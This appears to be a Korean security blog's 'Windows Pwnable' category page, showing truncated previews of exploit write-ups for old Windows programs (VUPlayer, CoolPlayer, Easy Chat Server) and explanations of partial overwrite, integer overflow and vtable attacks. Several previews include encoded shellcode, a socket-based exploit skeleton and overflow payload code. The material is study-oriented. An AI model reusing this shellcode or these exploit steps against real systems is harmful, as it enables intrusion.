목록시스템 해킹/Windows Pwnable (8)
ii4gsp
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bX1CVn/btqUJYN5Ogr/UrJbynVclzVTIKsUTllgD1/img.png)
import socket import struct import sys def exploit(HOST, PORT): shellcode = ( "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" "\xac\x52\x0e\x8d\xdd\x2d..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bE61IS/btqR9nxmjeu/MLsmPzJYD40FGwGlaW7WuK/img.png)
Test Environment: Windows 10 x64 Test Program: VUPlayer 2.49 x86 Language used: Python 2.7 Debugger: Immunity Debugger Module used: mona.py Mitigation: DEP, ASLR Use !mona pc 1500 command to generate a string of specfic patterns. Created pattern file is in the logs folder. The EIP register is controll with 0x6842378 and the program has ended. Use !mona po 68423768 command to find offset. Offset ..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/t6e8J/btqRL3ex9iA/Xo1z0Pwz1zkHDzneySt4k1/img.png)
Test Environment: Windows 10 x64 Test Program: CoolPlayer 2.19.2 Language used: Python 2.7 Debugger: Immunity Debugger Module used: mona.py ---------------------------------------------------------------------------------------------------------------------------------- Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path ----------------------------------..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/b3U4rn/btqRQS36zX3/k3FsoiOPXqykyD2AGSaPU0/img.png)
Test Environment: Windows 10 x64 Test Program: Easy Chat Server 3.1 x86 Language used: Python 2.7 Debugger: Immunity Debugger Module used: mona.py Mitigation: StackGuard, safeSEH Can start the chat server by executing the program. When you click the start button, the server open and you can connect it. To connect the chat server itself, we need to browse to IP. After entering guest in Name, you ..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/Ngtvp/btqDCcceto2/QKKBH5nZ6b1pexxl7zHPxk/img.png)
부분 Overwrite는 RET 주소를 변조 시 전체가 아닌 일부분만 덮어쓰는 기법으로 비슷한 기법으로는 FPO(Frame Pointer Overwrite) 기법이 있다. ASLR이 적용된 프로그램에서 4바이트 메모리 주소 중 상위 2바이트만 랜덤하게 변경된다. 하위 1~3바이트만 변조해도 코드 영역의 주소 값을 이용할 수 있다. import struct dummy = "A" * 508 jmp = "\x41" payload = dummy + jmp f = open("test.txt","w") f.write(payload) f.close() 소스코드 작성 후 실행시켜 test.txt를 만들어주자. 프로그램에서 인자값으로 test.txt를 넣어주고 실행해보면 상위 2바이트는 코드 영역을 가리키고 있고 하위 ..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bnEYoW/btqDzkzJy80/V58ObL4vX932sK3gxDokz0/img.png)
Integer Overflow 즉, 정수 오버플로우 이다. 정수 오버플로우란 변수에 담을 수 있는 최댓값을 넘길 때 발생한ㄴ다. 컴퓨터는 음수를 표현하기 위해 첫 번째 비트를 음수 비트로 사용한다. 즉, 한 개의 비트를 미리 사용하기 때문에 unsigned 타입의 변수에 비해 절반의 공간을 가진다. #include #include #include int main(int argc, char * argv[]) { static char contents[400] = {0,}; char len = 0; char buf[300] = {0,}; if (argc != 2) { printf("Usage : %s [filename]\n", argv[0]); exit(1); } FILE *f = fopen(argv[1], ..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/yrPf2/btqDw4LMveE/1anZbdWNZkK18enKqR4B10/img.png)
Virtual Table 줄여서 Vtable이라고도 부른다. C++에서 가상 함수를 사용할때 Vtable이 생성된다. Vtable에 저장된 함수 포인터를 이용하여 각 메소드에 접근한다. 힙/스택 ㅡㅡ객체 포인터 | | | | Vtable ㅡㅡ>객체 -> 함수 포인터1 -> 메소드1 객체 함수 포인터2 -> 메소드2 객체 함수 포인터3 -> 메소드3 #include "stdafx.h" #include #include #include using namespace std; class Book { private: char name[100]; int page; public: Book(char * _name, int _page){ strcpy(name,_name); page = _page; } virtual voi..
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1..